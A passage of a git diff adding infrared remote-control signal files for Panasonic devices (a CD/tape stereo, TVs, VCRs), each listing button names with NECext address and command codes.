00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 81 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 82 00 00 00 +# +name: cdrev +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 84 00 00 00 +# +name: cdfwd +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 85 00 00 00 +# +name: cdpause +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 86 00 00 00 +# +name: cdplay +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 87 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8B 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 90 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 91 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 92 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 93 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 94 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 95 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 96 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 97 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 98 00 00 00 +# +name: ten +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 99 00 00 00 +# +name: +ten +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 9F 00 00 00 +# +name: tapestop +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A0 00 00 00 +# +name: taperev +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A2 00 00 00 +# +name: tapefwd +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A3 00 00 00 +# +name: taperec +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A4 00 00 00 +# +name: tapeplayleft +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A5 00 00 00 +# +name: tapeplayright +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A6 00 00 00 +# +name: tapedeck +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AD 00 00 00 +# +name: tapereverse_mode +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AE 00 00 00 +# +name: tapecounter_reset +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AF 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B0 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B1 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B6 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B8 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BC 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BF 00 00 00 +# +name: fmmode +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir new file mode 100644 index 000000000..9aaf6de27 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: cdstop +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 81 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 82 00 00 00 +# +name: cdrev +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 84 00 00 00 +# +name: cdfwd +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 85 00 00 00 +# +name: cdpause +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 86 00 00 00 +# +name: cdplay +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 87 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8B 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 90 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 91 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 92 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 93 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 94 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 95 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 96 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 97 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 98 00 00 00 +# +name: ten +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 99 00 00 00 +# +name: +ten +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 9F 00 00 00 +# +name: tapestop +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A0 00 00 00 +# +name: taperev +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A2 00 00 00 +# +name: tapefwd +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A3 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A4 00 00 00 +# +name: tapeplayleft +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A5 00 00 00 +# +name: tapeplay +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A6 00 00 00 +# +name: deck +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AD 00 00 00 +# +name: reversemode +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AE 00 00 00 +# +name: counterreset +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AF 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B0 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B1 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B6 00 00 00 +# +name: tunerband +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B8 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BC 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BF 00 00 00 +# +name: fmmode +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir new file mode 100644 index 000000000..70e68421e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: a_ch +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: av+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 70 00 00 00 +# +name: active +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 96 00 00 00 +# +name: mycontent +type: parsed +protocol: NECext +address: 00 00 00 00 +command: BE 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C1 00 00 00 +# +name: view +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D2 00 00 00 +# +name: tick +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D3 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D9 00 00 00 +# +name: format +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir new file mode 100644 index 000000000..3a9338a14 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_CLEAR +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 80 00 00 00 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 81 00 00 00 +# +name: CD_RANDOM +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 82 00 00 00 +# +name: CD_START +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 84 00 00 00 +# +name: CD_END +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 85 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 87 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8F 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A0 00 00 00 +# +name: TAPE_REWIND +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A2 00 00 00 +# +name: TAPE_FF +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A3 00 00 00 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A6 00 00 00 +# +name: TAPE_DESC +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AD 00 00 00 +# +name: TAPE_REV_MODE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AE 00 00 00 +# +name: TAPE_RESET +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AF 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B0 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B1 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B8 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BC 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BF 00 00 00 +# +name: PRESET_EQ +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: D9 00 00 00 +# +name: TUNER_STEREO_MONO +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E4 00 00 00 +# +name: TUNER_UP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E7 00 00 00 +# +name: TUNER_DOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E8 00 00 00 +# +name: TUNER_BP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: EF 00 00 00 +# +name: TOP_PANEL_OPEN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: F4 00 00 00 +# +name: TOP_PANEL_CLOSE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir new file mode 100644 index 000000000..d3e4f0987 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: R-Tune +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: TV/Video +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir new file mode 100644 index 000000000..6d3d43d0e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 02 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 04 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 08 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 0A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 19 00 00 00 +# +name: AUDIO_OUT +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 33 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 34 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 35 00 00 00 +# +name: AV_LINK +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 36 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 +# +name: INDEX- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 49 00 00 00 +# +name: INDEX+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 56 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 57 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 58 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 66 00 00 00 +# +name: TIMER_REC +type: parsed +protocol: NECext +address: 90 00 00 00 +command: B4 00 00 00 +# +name: INPUT_SEL +type: parsed +protocol: NECext +address: 90 00 00 00 +command: C0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir new file mode 100644 index 000000000..5fc7ac091 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 08 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: REV.PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0B 00 00 00 +# +name: STILL-ADV +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 33 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3B 00 00 00 +# +name: VTR +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 40 00 00 00 +# +name: TIME-SEARCH +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 44 00 00 00 +# +name: WRITE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4B 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4C 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 53 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 54 00 00 00 +# +name: REMAIN +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 55 00 00 00 +# +name: CLOCK/COUNTER +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 56 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 81 00 00 00 +# +name: SEARCH+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 8E 00 00 00 +# +name: SEARCH- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 8F 00 00 00 +# +name: MONITOR +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 91 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir new file mode 100644 index 000000000..6fb0d4524 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: pause/still +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 08 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: jogstep+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0C 00 00 00 +# +name: jogstep- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 19 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3B 00 00 00 +# +name: vtr +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 +# +name: time_search +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 44 00 00 00 +# +name: memory/repeat/search +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 53 00 00 00 +# +name: reset/index +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 54 00 00 00 +# +name: clock/counter +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 56 00 00 00 +# +name: jog/shuttle_on +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 81 00 00 00 +# +name: jogrev- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 82 00 00 00 +# +name: jogfwd+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 83 00 00 00 +# +name: jogrev-- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 84 00 00 00 +# +name: jogfwd++ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 85 00 00 00 +# +name: jogrev--- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 86 00 00 00 +# +name: jogfwd+++ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 87 00 00 00 +# +name: jogrev---- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 88 00 00 00 +# +name: jogfwd++++ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 89 00 00 00 +# +name: jogstep-- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 8A 00 00 00 +# +name: jogstep++ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 8B 00 00 00 +# +name: monitor +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 91 00 00 00 +# +name: jog/shuttle_off +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 93 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F0 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F1 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F2 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F3 00 00 00 diff --git 